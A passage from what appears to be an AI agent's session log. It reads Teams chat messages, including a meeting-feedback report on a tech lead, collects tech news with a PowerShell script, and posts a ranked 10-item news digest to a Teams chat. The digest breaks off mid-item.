Briefing](https://news.google.com/rss/articles/CBMiakFVX3lxTE1zY1VWQTVJSktYY3Y1SmNlLUZjV1dSc0dYMjFza2dqSEstV0FiTHJ6X1BIVm82NEg3eU93aG82MTNzQXFLZ210eFpTWXZMSXhpTVBxSVlMUEhaY3h4MzdITXVNbV9MZUdmWkE?oc=5) \\\\- AI/ML update that may affect developer workflows, product strategy, platforms, or technical roadmaps.\\n  14. [Apple, Google add support for Thread 1.4](https://www.theverge.com/tech/947888/apple-google-add-support-for-thread-1-4) \\\\- Apple and Google are updating their smart home streaming devices to Thread 1.4.\\n  15. [GitHub pulls pin on npm's auto-run scripts](https://www.theregister.com/devops/2026/06/10/github-pulls-pin-on-npms-auto-run-scripts/5253453) \\\\- Shai-Hulud worm exploited exactly this. Better late than never, says everyone except the malware authors.\",\n>       \"created_at\": \"2026-06-11T10:30:19.999Z\",\n>       \"author_name\": \"Jenish Dholakiya\",\n>       \"title\": \"ChatReview\",\n>       \"container_type\": \"chat\",\n>       \"chat_id\": \"19:3668e6772fe24ba4b1da87171a907557@thread.v2\",\n>       \"team_id\": null,\n>       \"channel_id\": null,\n>       \"parent_message_id\": null,\n>       \"mentions\": [],\n>       \"display_url\": \"https://teams.microsoft.com/l/message/19:3668e6772fe24ba4b1da87171a907557@thread.v2/1781173819999?context={\\\"contextType\\\":\\\"chat\\\"}\",\n>       \"display_title\": \"ChatReview\"\n>     },\n>     {\n>       \"message_id\": \"1781173130177\",\n>       \"path\": \"/chats/19:3668e6772fe24ba4b1da87171a907557@thread.v2/messages/1781173130177\",\n>       \"web_link\": \"https://teams.microsoft.com/l/message/19:3668e6772fe24ba4b1da87171a907557@thread.v2/1781173130177?context={\\\"contextType\\\":\\\"chat\\\"}\",\n>       \"content\": \"**ChatReview Tech News Informer - Jun 11, 2026**\\n\\n  1. [Detecting and containing AI-powered threats with Google Security Operations agents](https://cloud.google.com/blog/products/identity-security/detecting-and-containing-powered-threats-with-google-security-operations-agents/) \\\\- Security or infrastructure update with potential impact on engineering, operations, or incident response teams.\\n  2. [What's new for Managed Service for Apache Spark clusters](https://cloud.google.com/blog/products/data-analytics/enhancements-to-managed-service-for-apache-spark-clusters/) \\\\- AI/cloud update that may affect model access, deployment choices, developer workflows, or platform strategy.\\n  3. [OpenAI GPT-5.4 and GPT-5.5 models now available in US East (N. Virginia) on Amazon Bedrock](https://aws.amazon.com/about-aws/whats-new/2026/06/openai-gpt-us-east-virginia-amazon/) \\\\- AI/ML update that may affect developer workflows, product strategy, platforms, or technical roadmaps.\\n  4. [Amazon OpenSearch Service launches MCP Apps for agentic observability](https://aws.amazon.com/about-aws/whats-new/2026/06/opensearch-agentic-observability-mcp-app) \\\\- AI/cloud update that may affect model access, deployment choices, developer workflows, or platform strategy.\\n  5. [Access OpenAI models and Codex through your Oracle cloud commitment](https://openai.com/index/openai-on-oracle-cloud) \\\\- AI/ML update that may affect developer workflows, product strategy, platforms, or technical roadmaps.\\n  6. [Show HN: HelixDB - A graph database built on object storage](https://github.com/HelixDB/helix-db/tree/main) \\\\- AI/ML update that may affect developer workflows, product strategy, platforms, or technical roadmaps.\\n  7. [Microsoft patches Exchange Server zero-day exploited in attacks](https://www.bleepingcomputer.com/news/microsoft/microsoft-patches-exchange-server-zero-day-exploited-in-attacks/) \\\\- Security or infrastructure update with potential impact on engineering, operations, or incident response teams.\\n  8. [Is your agent extension actually working?](https://devblogs.microsoft.com/blog/is-your-agent-extension-actually-working) \\\\- AI/ML update that may affect developer workflows, product strategy, platforms, or technical roadmaps.\\n  9. [Give GitHub Copilot CLI real code intelligence with language servers](https://github.blog/ai-and-ml/github-copilot/give-github-copilot-cli-real-code-intelligence-with-language-servers/) \\\\- AI/ML update that may affect developer workflows, product strategy, platforms, or technical roadmaps.\\n  10. [GitHub nukes 70+ Microsoft repos, breaks CI/CD pipelines, following suspected worm infections](https://www.theregister.com/security/2026/06/08/github-nukes-70-microsoft-repos-amid-suspected-worm-attack/5252169) \\\\- Miasma worm shapeshifts, but cloud secret-scouting remains the goal\\n  11. [Supporting Europe's work in ensuring a trustworthy AI ecosystem](https://openai.com/index/supporting-eu-trustworthy-ai-ecosystem) \\\\- OpenAI supports the EU Code of Practice on AI content transparency, advancing provenance standards and tools to help people understand AI-generated content.\\n  12. [Microsoft Defender 'RoguePlanet' zero-day grants SYSTEM privileges](https://www.bleepingcomputer.com/news/microsoft/microsoft-defender-rogueplanet-zero-day-grants-system-privileges/) \\\\- Security or infrastructure update with potential impact on engineering, operations, or incident response teams.\\n  13. [Google joins the Eclipse Foundation as a strategic member to accelerate AI-integrated developer tools - blog.google](https://news.google.com/rss/articles/CBMi4gFBVV95cUxPSHl5NnhaYVhKTVpPVjMxTGxiWGc0TXZDUXMzSUxtb1h3dklETGhjMlpiNE1zaXBtcDRxUGNwRG5NbXRfYTJpbFRidjdwNlFXVmVFaHd5eWZWQ0tvb0JaakpYMjI0eEFVWWY0YnNwS0xVdFhmVUFUWHA1Xzh4SExlYnRRUHZfazU0bWZzWDFQeTNBLVpheDVWUmkyMzhyWmNqSHRPS3hxQV9xM01ET2g3aElDRmZjNHFZdWJhUWN5RERUMkpka1d4djNReGFHU3I2d1h1U1R1XzgzUUc0VmFfc3hn?oc=5) \\\\- AI/ML update that may affect developer workflows, product strategy, platforms, or technical roadmaps.\",\n>       \"created_at\": \"2026-06-11T10:18:50.177Z\",\n>       \"author_name\": \"Jenish Dholakiya\",\n>       \"title\": \"ChatReview\",\n>       \"container_type\": \"chat\",\n>       \"chat_id\": \"19:3668e6772fe24ba4b1da87171a907557@thread.v2\",\n>       \"team_id\": null,\n>       \"channel_id\": null,\n>       \"parent_message_id\": null,\n>       \"mentions\": [],\n>       \"display_url\": \"https://teams.microsoft.com/l/message/19:3668e6772fe24ba4b1da87171a907557@thread.v2/1781173130177?context={\\\"contextType\\\":\\\"chat\\\"}\",\n>       \"display_title\": \"ChatReview\"\n>     },\n>     {\n>       \"message_id\": \"1781171262336\",\n>       \"path\": \"/chats/19:3668e6772fe24ba4b1da87171a907557@thread.v2/messages/1781171262336\",\n>       \"web_link\": \"https://teams.microsoft.com/l/message/19:3668e6772fe24ba4b1da87171a907557@thread.v2/1781171262336?context={\\\"contextType\\\":\\\"chat\\\"}\",\n>       \"content\": \"## Meeting Reviewer Report - Updated Format\\n\\n**Source meeting:** Math IQ review, Apr 21, 2026  \\n**Fathom link:**   \\n**Comparison context:** Latest meeting transcript plus the latest 20 Jenish-\\nled Fathom interactions where available.\\n\\n**Score rubric:** 1-3 Poor | 4-6 Needs Improvement | 7-8 Good | 9-10 Excellent\\n\\n### 1\\\\. Score Summary\\n\\n  * **Overall score:** 4.7/10 - Needs Improvement  \\nAverage of Grammar, Communication, and Client Frustration Handling scores.\\n\\n  * **Grammar score:** 3/10 - Poor\\n  * **Communication score:** 5/10 - Needs Improvement\\n  * **Client frustration handling score:** 6/10 - Needs Improvement\\n  * **Client frustration risk:** 4/10 - Low to medium in the latest internal call, but higher in client calls when timeline or access expectations are unclear.\\n\\n### 2\\\\. Conversation Summary\\n\\nThe latest meeting was mostly an internal technical review for the Math IQ\\napp. The team discussed app status, migration from Cloud Functions to\\nSupabase, Firebase push notifications, Google login issues, TTS/audio playback\\nbugs, grammar correction UI, Learn Flow, Roleplay flow, referral program,\\nscheduled notifications, and documentation needs.\\n\\nThe meeting produced useful action items, but the discussion was hard to\\nfollow because many requests were incomplete, repeated, or missing clear\\nownership and deadline framing.\\n\\n### 3\\\\. Priority Issues Ranked By Business Impact\\n\\n  1. **High impact:** Unclear client-facing explanation can reduce trust and make the team look unsure.\\n  2. **High impact:** No structured recap can create delivery confusion and missed expectations.\\n  3. **High impact:** Weak grammar and incomplete sentences reduce confidence during estimation, negotiation, and status updates.\\n  4. **Medium impact:** Repeated questions increase meeting time and can frustrate clients.\\n  5. **Medium impact:** Missing owner/date/action formatting makes follow-up harder.\\n  6. **Low to medium impact:** Internal meetings are productive but inefficient when agenda and checklist are absent.\\n\\n### 4\\\\. Missed Opportunities\\n\\n  * Start with a clear agenda: current status, blockers, migration plan, bugs, owners, and deadlines.\\n  * Summarize each topic before moving to the next one.\\n  * Ask developers to confirm acceptance criteria, not just whether something is done.\\n  * Use a visible checklist to avoid repeating the same questions.\\n  * In client-facing calls, explain why access or technical details are needed before asking for them.\\n  * Close with a written recap: decision, owner, due date, and risk.\\n\\n### 5\\\\. Repeated Questions\\n\\n  * Repeated checks like: done?, complete?, okay?, and is it clear? without naming the exact feature.\\n  * Repeated checks around TTS/audio, grammar correction, Roleplay, and referral without a final decision statement.\\n  * Some clarification was necessary because the transcript and conversation were unclear, but several repeats could have been avoided by summarizing after each answer.\\n\\n### 6\\\\. Unclear Requests And Better Versions\\n\\n  * **Unclear:** Tell us details how much complete and how much rest.  \\n**Better:** Please list completed modules, pending modules, blockers, and\\nestimated time for each pending item.\\n\\n  * **Unclear:** Do you use Firebase?  \\n**Better:** Are we using Firebase only for push notifications, or also for\\nauth, database, or Cloud Functions?\\n\\n  * **Unclear:** Is this done?  \\n**Better:** Can you confirm whether this feature is implemented, tested, and\\nworking on staging?\\n\\n  * **Unclear:** Check Stripe logic.  \\n**Better:** Verify Stripe subscription purchase, webhook update, coin\\nallocation, and failure handling.\\n\\n### 7\\\\. Necessary Follow-Up Questions vs Unnecessary Repetition\\n\\n**Necessary follow-up questions:**\\n\\n  * Asking for app/test access before quoting or estimating.\\n  * Asking which backend services are still on Cloud Functions.\\n  * Asking whether Google login, TTS, grammar correction, and Roleplay are tested.\\n  * Asking about production rollout, rollback, and user migration risk.\\n\\n**Unnecessary repetition:**\\n\\n  * Repeating complete? or done? after the same answer without narrowing the issue.\\n  * Re-asking details that should be captured in a checklist.\\n  * Continuing a topic after the owner and action are already clear.\\n\\n### 8\\\\. Root Causes Of Client Frustration\\n\\n  * Clients may feel the team is asking many questions without first explaining why the information is required.\\n  * Delays can feel unexplained if risks, dependencies, and next steps are not communicated early.\\n  * Technical leads sometimes jump into implementation details before confirming the business outcome.\\n  * If questions are broad, the client may need to repeat information or clarify the same point multiple times.\\n\\n### 9\\\\. Communication Patterns Across Recent Interactions\\n\\n**Improvements seen:**\\n\\n  * Better practical next steps in recent calls.\\n  * Better access negotiation in the Apr 20 client call: tester access was accepted when code access was not possible.\\n  * Better risk thinking in the Apr 6 My Ayur call around production deployment, rollback, and user migration.\\n  * More consistent action-item capture in Fathom summaries.\\n\\n**Still missing:**\\n\\n  * More polished English for client-facing explanations.\\n  * Stronger meeting control: agenda, topic boundaries, and recaps.\\n  * Clear reason-before-request communication.\\n  * Proactive timeline updates before the client asks why something is delayed.\\n  * Consistent business-impact framing before technical details.\\n\\n### 10\\\\. Suggested Improvements\\n\\n**Recommended meeting structure:**\\n\\n  1. Start: Today we need to confirm status, blockers, and next steps.\\n  2. For each topic: Current status, issue, decision needed.\\n  3. Ask one question at a time.\\n  4. After each answer: So the decision is __, owner is __, deadline is __.\\n  5. End: I will send a recap with owners, dates, and risks.\\n\\n**Useful replacement phrases:**\\n\\n  * **Instead of:** Can you give access?  \\n**Say:** To estimate accurately, I need tester access to verify the current\\nflow. Code access is not required at this stage.\\n\\n  * **Instead of:** This is done?  \\n**Say:** Can you confirm whether this feature is implemented, tested, and\\nworking on staging?\\n\\n  * **Instead of:** Why delay?  \\n**Say:** The delay is due to two risks: app approval and backend\\ncompatibility. Our fallback plan is rollback if store approval fails.\\n\\n### Final Recommendation\\n\\nThe tech lead should focus first on meeting structure and clarity, not only\\ngrammar. The biggest improvement will come from using a fixed meeting format:\\nagenda, one question at a time, recap after each topic, and final\\nowner/date/action summary. Grammar improvement is also important, especially\\nfor client-facing estimation and risk communication.\",\n>       \"created_at\": \"2026-06-11T09:47:42.336Z\",\n>       \"author_name\": \"Jenish Dholakiya\",\n>       \"title\": \"ChatReview\",\n>       \"container_type\": \"chat\",\n>       \"chat_id\": \"19:3668e6772fe24ba4b1da87171a907557@thread.v2\",\n>       \"team_id\": null,\n>       \"channel_id\": null,\n>       \"parent_message_id\": null,\n>       \"mentions\": [],\n>       \"display_url\": \"https://teams.microsoft.com/l/message/19:3668e6772fe24ba4b1da87171a907557@thread.v2/1781171262336?context={\\\"contextType\\\":\\\"chat\\\"}\",\n>       \"display_title\": \"ChatReview\"\n>     },\n>     {\n>       \"message_id\": \"1781171005304\",\n>       \"path\": \"/chats/19:3668e6772fe24ba4b1da87171a907557@thread.v2/messages/1781171005304\",\n>       \"web_link\": \"https://teams.microsoft.com/l/message/19:3668e6772fe24ba4b1da87171a907557@thread.v2/1781171005304?context={\\\"contextType\\\":\\\"chat\\\"}\",\n>       \"content\": \"**Meeting Reviewer Report** **Source:** Latest Fathom meeting: Math IQ review,\\nApr 21, 2026 https://fathom.video/calls/645205495 **Comparison context:**\\nReviewed the latest meeting transcript plus the latest 20 Jenish-led Fathom\\ninteractions where available. Recent client-facing comparison calls included\\nApr 20, 2026 and Apr 6, 2026. **Score rubric:** 1-3 Poor, 4-6 Needs\\nImprovement, 7-8 Good, 9-10 Excellent **Scores** \\\\- **Overall score:** 4.7/10\\n- Needs Improvement \\\\- **Grammar score:** 3/10 - Poor \\\\- **Communication\\nscore:** 5/10 - Needs Improvement \\\\- **Client frustration handling score:**\\n6/10 - Needs Improvement \\\\- **Client frustration risk level:** 4/10 - Low to\\nmedium in the latest internal call, higher risk in client calls when timeline\\nor access expectations are unclear **Conversation summary** The latest meeting\\nwas mostly an internal technical review for the Math IQ app. The team\\ndiscussed app status, migration from Cloud Functions to Supabase, Firebase\\npush notifications, Google login issues, TTS/audio playback bugs, grammar\\ncorrection UI, Learn Flow, Roleplay flow, referral program, scheduled\\nnotifications, and documentation needs. The meeting produced useful action\\nitems, but the discussion was difficult to follow because many requests were\\nincomplete, repeated, or missing clear ownership and deadline framing.\\n**Missed opportunities** \\\\- Start with a clear agenda: current status,\\nblockers, migration plan, bugs, owners, deadlines. \\\\- Summarize each topic\\nbefore moving to the next one. \\\\- Ask developers to confirm acceptance\\ncriteria, not just whether something is \u201cdone.\u201d \\\\- Use a visible checklist to\\navoid repeating the same questions. \\\\- In client-facing calls, explain why\\naccess or technical details are needed before asking for them. \\\\- Close with a\\nwritten recap: decision, owner, due date, and risk. **Repeated questions** \\\\-\\nRepeated \u201cdone?\u201d, \u201ccomplete?\u201d, \u201cokay?\u201d, \u201cis it clear?\u201d without a precise\\nfeature name. \\\\- Repeated checks around TTS/audio, grammar correction,\\nroleplay, and referral without a final decision statement. \\\\- Some repeated\\nclarification was necessary because the transcript and conversation were\\nunclear, but several repeats could have been avoided by summarizing after each\\nanswer. **Unclear requests** \\\\- \u201cTell us details how much complete and how\\nmuch rest\u201d should be rephrased as: \u201cPlease list completed modules, pending\\nmodules, blockers, and estimated time for each pending item.\u201d \\\\- \u201cDo you use\\nFirebase?\u201d should be followed by scope: \u201cOnly for push notifications, auth,\\ndatabase, or Cloud Functions?\u201d \\\\- \u201cIs this done?\u201d should include the exact\\nscreen, bug, expected behavior, and test result. \\\\- \u201cCheck Stripe logic\u201d\\nshould be: \u201cVerify Stripe subscription purchase, webhook update, coin\\nallocation, and failure handling.\u201d **Necessary follow-up questions vs\\nunnecessary repetition** Necessary follow-ups: \\\\- Asking for app/test access\\nbefore quoting or estimating. \\\\- Asking which backend services are still on\\nCloud Functions. \\\\- Asking whether Google login, TTS, grammar correction, and\\nRoleplay are tested. \\\\- Asking about production rollout, rollback, and user\\nmigration risk. Unnecessary repetition: \\\\- Repeating \u201ccomplete?\u201d or \u201cdone?\u201d\\nafter the same answer without narrowing the issue. \\\\- Re-asking details that\\nshould be captured in a checklist. \\\\- Continuing a topic after the\\nowner/action was already clear. **Root causes of possible client frustration**\\n\\\\- Clients may feel that the team is asking many questions without first\\nexplaining why the information is required. \\\\- Delays can feel unexplained if\\nrisks, dependencies, and exact next steps are not communicated early. \\\\-\\nTechnical leads sometimes jump directly into implementation details instead of\\nconfirming the business outcome first. \\\\- If questions are broad, the client\\nmay need to repeat information or clarify the same point multiple times.\\n**Priority issues ranked by business impact** 1\\\\. **High:** Unclear client-\\nfacing explanation can reduce trust and make the team look unsure. 2\\\\.\\n**High:** No structured meeting recap can create delivery confusion and missed\\nexpectations. 3\\\\. **High:** Weak grammar and incomplete sentences reduce\\nconfidence during estimation, negotiation, and status updates. 4\\\\. **Medium:**\\nRepeated questions increase meeting time and can frustrate clients. 5\\\\.\\n**Medium:** Missing owner/date/action formatting makes follow-up harder. 6\\\\.\\n**Low to medium:** Internal meetings are productive but inefficient when\\nagenda and checklist are absent. **Communication patterns across latest\\ninteractions** Improvements seen: \\\\- Better practical next steps in recent\\ncalls. \\\\- Better access negotiation in the Apr 20 client call: tester access\\nwas accepted when code access was not possible. \\\\- Better risk thinking in the\\nApr 6 My Ayur call around production deployment, rollback, and user migration.\\n\\\\- More consistent action-item capture in Fathom summaries. Still missing: \\\\-\\nMore polished English for client-facing explanations. \\\\- Stronger meeting\\ncontrol: agenda, topic boundaries, recaps. \\\\- Clear reason-before-request\\ncommunication. \\\\- Proactive timeline updates before the client asks why\\nsomething is delayed. \\\\- Consistent business-impact framing before technical\\ndetails. **Suggested improvements** Use this structure for every client or\\nlead meeting: 1\\\\. \u201cToday we need to confirm three things: status, blockers,\\nand next steps.\u201d 2\\\\. For each topic: \u201cCurrent status, issue, decision needed.\u201d\\n3\\\\. Ask one question at a time. 4\\\\. After each answer, say: \u201cSo the decision\\nis __, owner is __, deadline is __.\u201d 5\\\\. End with: \u201cI will send a recap with\\nowners, dates, and risks.\u201d Useful replacement phrases: \\\\- Instead of: \u201cCan you\\ngive access?\u201d Say: \u201cTo estimate accurately, I need tester access to verify the\\ncurrent flow. Code access is not required at this stage.\u201d \\\\- Instead of: \u201cThis\\nis done?\u201d Say: \u201cCan you confirm whether this feature is implemented, tested,\\nand working on staging?\u201d \\\\- Instead of: \u201cWhy delay?\u201d Say: \u201cThe delay is due to\\ntwo risks: app approval and backend compatibility. Our fallback plan is\\nrollback if store approval fails.\u201d **Final recommendation** The tech lead\\nshould focus first on meeting structure and clarity, not only grammar. The\\nbiggest improvement will come from using a fixed meeting format: agenda, one\\nquestion at a time, recap after each topic, and final owner/date/action\\nsummary. Grammar improvement is also important, especially for client-facing\\nestimation and risk communication.\",\n>       \"created_at\": \"2026-06-11T09:43:25.304Z\",\n>       \"author_name\": \"Jenish Dholakiya\",\n>       \"title\": \"ChatReview\",\n>       \"container_type\": \"chat\",\n>       \"chat_id\": \"19:3668e6772fe24ba4b1da87171a907557@thread.v2\",\n>       \"team_id\": null,\n>       \"channel_id\": null,\n>       \"parent_message_id\": null,\n>       \"mentions\": [],\n>       \"display_url\": \"https://teams.microsoft.com/l/message/19:3668e6772fe24ba4b1da87171a907557@thread.v2/1781171005304?context={\\\"contextType\\\":\\\"chat\\\"}\",\n>       \"display_title\": \"ChatReview\"\n>     },\n>     {\n>       \"message_id\": \"1781170929097\",\n>       \"path\": \"/chats/19:3668e6772fe24ba4b1da87171a907557@thread.v2/messages/1781170929097\",\n>       \"web_link\": \"https://teams.microsoft.com/l/message/19:3668e6772fe24ba4b1da87171a907557@thread.v2/1781170929097?context={\\\"contextType\\\":\\\"chat\\\"}\",\n>       \"content\": \"Hii\",\n>       \"created_at\": \"2026-06-11T09:42:09.097Z\",\n>       \"author_name\": \"Jenish Dholakiya\",\n>       \"title\": \"ChatReview\",\n>       \"container_type\": \"chat\",\n>       \"chat_id\": \"19:3668e6772fe24ba4b1da87171a907557@thread.v2\",\n>       \"team_id\": null,\n>       \"channel_id\": null,\n>       \"parent_message_id\": null,\n>       \"mentions\": [],\n>       \"display_url\": \"https://teams.microsoft.com/l/message/19:3668e6772fe24ba4b1da87171a907557@thread.v2/1781170929097?context={\\\"contextType\\\":\\\"chat\\\"}\",\n>       \"display_title\": \"ChatReview\"\n>     },\n>     {\n>       \"message_id\": \"1781170928939\",\n>       \"path\": \"/chats/19:3668e6772fe24ba4b1da87171a907557@thread.v2/messages/1781170928939\",\n>       \"web_link\": \"https://teams.microsoft.com/l/message/19:3668e6772fe24ba4b1da87171a907557@thread.v2/1781170928939?context={\\\"contextType\\\":\\\"chat\\\"}\",\n>       \"content\": null,\n>       \"created_at\": \"2026-06-11T09:42:08.939Z\",\n>       \"author_name\": \"\",\n>       \"title\": \"ChatReview\",\n>       \"container_type\": \"chat\",\n>       \"chat_id\": \"19:3668e6772fe24ba4b1da87171a907557@thread.v2\",\n>       \"team_id\": null,\n>       \"channel_id\": null,\n>       \"parent_message_id\": null,\n>       \"mentions\": [],\n>       \"display_url\": \"https://teams.microsoft.com/l/message/19:3668e6772fe24ba4b1da87171a907557@thread.v2/1781170928939?context={\\\"contextType\\\":\\\"chat\\\"}\",\n>       \"display_title\": \"ChatReview\"\n>     },\n>     {\n>       \"message_id\": \"1781170928890\",\n>       \"path\": \"/chats/19:3668e6772fe24ba4b1da87171a907557@thread.v2/messages/1781170928890\",\n>       \"web_link\": \"https://teams.microsoft.com/l/message/19:3668e6772fe24ba4b1da87171a907557@thread.v2/1781170928890?context={\\\"contextType\\\":\\\"chat\\\"}\",\n>       \"content\": null,\n>       \"created_at\": \"2026-06-11T09:42:08.89Z\",\n>       \"author_name\": \"\",\n>       \"title\": \"ChatReview\",\n>       \"container_type\": \"chat\",\n>       \"chat_id\": \"19:3668e6772fe24ba4b1da87171a907557@thread.v2\",\n>       \"team_id\": null,\n>       \"channel_id\": null,\n>       \"parent_message_id\": null,\n>       \"mentions\": [],\n>       \"display_url\": \"https://teams.microsoft.com/l/message/19:3668e6772fe24ba4b1da87171a907557@thread.v2/1781170928890?context={\\\"contextType\\\":\\\"chat\\\"}\",\n>       \"display_title\": \"ChatReview\"\n>     }\n>   ]\n> }\n> ```\n>\n> - Ran `.\\collect_news.ps1 -PerQuery 80 -Maximum 80 -QueryOffset 6 -QueryCount 3`\n>\n> - Ran `.\\collect_news.ps1 -PerQuery 80 -Maximum 80 -QueryOffset 0 -QueryCount 3`\n>\n> - Ran `.\\collect_news.ps1 -PerQuery 80 -Maximum 80 -QueryOffset 18 -QueryCount 3`\n>\n> - Ran `.\\collect_news.ps1 -PerQuery 80 -Maximum 80 -QueryOffset 15 -QueryCount 3`\n>\n> - Ran `.\\collect_news.ps1 -PerQuery 1 -Maximum 80 -QueryOffset 100 -QueryCount 0 -IncludeHackerNews`\n>\n> - Ran `.\\collect_news.ps1 -PerQuery 80 -Maximum 80 -QueryOffset 12 -QueryCount 3`\n>\n> - Ran `.\\collect_news.ps1 -PerQuery 80 -Maximum 80 -QueryOffset 21 -QueryCount 3`\n>\n> - Ran `.\\collect_news.ps1 -PerQuery 80 -Maximum 80 -QueryOffset 3 -QueryCount 3`\n>\n> - Ran `.\\collect_news.ps1 -PerQuery 80 -Maximum 80 -QueryOffset 9 -QueryCount 3`\n>\n> \n>\n> After stricter event clustering and manual source-quality filtering, I have 114 viable fresh stories from the 662-item sweep. I\u2019m dropping 14 lower-value or risky entries (duplicate reporting of the same iPhone/Adobe announcements, unverified model-release rumors, thin PR rewrites, and generic opinion pieces), leaving 100 stories\u2014the exact minimum needed for ten focused 10-item posts without filler or repeats.\n>\n> MCP tool call\n>\n> codex_apps.microsoft_teams.validate_write_target\n>\n> ```json\n> {\n>   \"chat_id\": \"19:3668e6772fe24ba4b1da87171a907557@thread.v2\",\n>   \"destination_hint\": \"ChatReview\"\n> }\n> ```\n>\n> ```text\n> Action completed.\n> ```\n>\n> ```json\n> {\n>   \"can_post_directly\": true,\n>   \"reason\": \"Resolved an existing chat target.\",\n>   \"destination_type\": \"chat\",\n>   \"target_id\": \"19:3668e6772fe24ba4b1da87171a907557@thread.v2\",\n>   \"team_id\": null,\n>   \"channel_id\": null,\n>   \"chat_id\": \"19:3668e6772fe24ba4b1da87171a907557@thread.v2\",\n>   \"resolved_title\": \"ChatReview\",\n>   \"unsupported_operation\": null\n> }\n> ```\n>\n> The final batch is ready: 100 fresh stories, split into ten ranked 10-item posts. The highest within-batch title similarity is only 0.33 (separate Chrome and Edge security notices), and each post names the run number and source-window scope. I\u2019m posting and fetching every run one by one now so a connector success response alone is not mistaken for a completed delivery.\n>\n> \nRan a command, called 20 tools\n>\n> MCP tool call\n>\n> codex_apps.microsoft_teams.send_chat_message\n>\n> ```json\n> {\n>   \"chat_id\": \"19:3668e6772fe24ba4b1da87171a907557@thread.v2\",\n>   \"html_content\": \"\nChatReview Tech / IT / AI News \u2014 June 22, 2026 \u2014 Additional Run 1/10\nReviewed a 50\u2013100 article segment from a 662-item June 18\u201322 feed/RSS, Hacker News, official-source and technology-publication sweep. Excluded all previously posted ChatReview events plus earlier items in this 10-run batch.\nScores show: Industry; engineering-leader relevance; AI/ML; developer-tool/cloud/workflow; security/privacy/infrastructure; major-company adoption; novelty. Each is 1\u20135.\n\n\nOndas to Acquire Cyberhawk, Expanding into Critical Infrastructure Intelligence Through Software, Data and AI \u2014 31/35 (4+4+4+4+5+5+5)Security update with implications for patching, dependency trust, credentials, privacy, resilience or incident response.\n\nDICT and Google Cloud Partner on Multi-Year AI and Cybersecurity Initiatives to Deliver Next-Generation Citizen Services \u2014 29/35 (3+4+4+4+4+5+5)Security update with implications for patching, dependency trust, credentials, privacy, resilience or incident response.\n\nSDLC Data Governance Critical as AI Systems Outpace Human Oversight \u2014 28/35 (4+4+4+4+5+2+5)Policy or governance update that could influence AI access, enterprise risk, technical standards or regional infrastructure decisions.\n\nAgentjacking attack exploits AI coding tools with fake error reports | brief | SC Media \u2014 28/35 (3+5+4+5+4+2+5)Security update with implications for patching, dependency trust, credentials, privacy, resilience or incident response.\n\nInfragistics Turns AI Coding Assistants into Enterprise Development Partners with Ignite UI Enterprise MCP Toolchain \u2014 28/35 (2+5+4+4+4+4+5)Developer, cloud or infrastructure update that may affect coding, CI/CD, architecture, capacity, maintainability or operations.\n\nChinese AI models raise \u2018sleeper agent\u2019 fears after report finds more vulnerable code for US users \u2014 27/35 (2+5+4+5+4+2+5)Security update with implications for patching, dependency trust, credentials, privacy, resilience or incident response.\n\nCybercriminals abused GitHub, YouTube and VirusTotal to push crypto-stealing malware \u2014 27/35 (2+4+1+5+5+5+5)Security update with implications for patching, dependency trust, credentials, privacy, resilience or incident response.\n\nT-Systems, SupplyOn Advance Industrial AI Cloud for Supply Chain Automation \u2014 27/35 (2+4+4+5+5+2+5)Developer, cloud or infrastructure update that may affect coding, CI/CD, architecture, capacity, maintainability or operations.\n\nAI Agents Need New Security: Cisco Announces Intent to Acquire WideField Security \u2014 26/35 (4+5+5+1+4+2+5)Security update with implications for patching, dependency trust, credentials, privacy, resilience or incident response.\n\nQuest Software Acquires Identity Observability Vendor Anetac \u2014 26/35 (4+4+1+4+4+4+5)Developer, cloud or infrastructure update that may affect coding, CI/CD, architecture, capacity, maintainability or operations.\nTies are ordered by industry impact, then engineering-leader relevance.\"\n> }\n> ```\n>\n> ```text\n> Action completed.\n> ```\n>\n> ```json\n> {\n>   \"message_id\": \"1782104221337\",\n>   \"path\": \"/chats/19:3668e6772fe24ba4b1da87171a907557@thread.v2/messages/1782104221337\",\n>   \"web_link\": \"https://teams.microsoft.com/l/message/19:3668e6772fe24ba4b1da87171a907557@thread.v2/1782104221337?context={\\\"contextType\\\":\\\"chat\\\"}\",\n>   \"title\": \"Jenish Dholakiya\",\n>   \"created_at\": \"2026-06-22T04:57:01.337Z\",\n>   \"author_name\": \"Jenish Dholakiya\",\n>   \"content\": \"Jenish Dholakiya said:## ChatReview Tech / IT / AI News \u2014 June 22, 2026 \u2014 Additional Run 1/10\\n\\nReviewed a 50\u2013100 article segment from a 662-item June 18\u201322 feed/RSS, Hacker\\nNews, official-source and technology-publication sweep. Excluded all\\npreviously posted ChatReview events plus earlier items in this 10-run batch.\\n\\n**Scores show: Industry; engineering-leader relevance; AI/ML; developer-\\ntool/cloud/workflow; security/privacy/infrastructure; major-company adoption;\\nnovelty. Each is 1\u20135.**\\n\\n  1. **[Ondas to Acquire Cyberhawk, Expanding into Critical Infrastructure Intelligence Through Software, Data and AI](https://news.google.com/rss/articles/CBMingFBVV95cUxNTl8wWnZTbUMybW5iSUdjcWFEdHBiWDFqejNROXdQamc4R1lIc3dQY1o0T0hlU0VIOHNEd3JyanRxWHpGdWtmUTBMQVRZcWxfa2dwdVRpMDFJQ3BWNDlOeDlYQ2NIQmdHVlpCNWoxTGNsOXppRFRwcVJUVWVta3NldHBCZUdSM2tRdkRIaWV6QWVaVmF1a2xzTVFTYWFoQQ?oc=5)** \u2014 **31/35** (4+4+4+4+5+5+5)  \\nSecurity update with implications for patching, dependency trust, credentials,\\nprivacy, resilience or incident response.\\n\\n  2. **[DICT and Google Cloud Partner on Multi-Year AI and Cybersecurity Initiatives to Deliver Next-Generation Citizen Services](https://news.google.com/rss/articles/CBMi_wFBVV95cUxNYUNNRml3LTFTOHJMa3V4eXJwU2hJNVJwQXNQZVhLS05WLVQtYmc2SV91UURaLWVMaTNhZnBUOU5uNHU4NHVZSnhjLWJZU05wb1ZYbi12SWNLUlNoX1hzOFZfYVJlYkJsRTlMaGNPMkFXdVhLMVZEdko2aDIzbEU3Z2NSOWRqWWtRM2doU1N3bXZ0QU5pVEl3UWVsT3N0OG9scGhCZjdkY3pxY25LeTdPbER0Zl9XVU1TNmN4UjBxNXdaNm9YTTBjU0dsWTNjTVRPbWRBM2dfQjdJcnFmVGlja3ZwdHR6UVUySjZtbmk5VVJSYXhtVGUtWEJRczJZTG8?oc=5)** \u2014 **29/35** (3+4+4+4+4+5+5)  \\nSecurity update with implications for patching, dependency trust, credentials,\\nprivacy, resilience or incident response.\\n\\n  3. **[SDLC Data Governance Critical as AI Systems Outpace Human 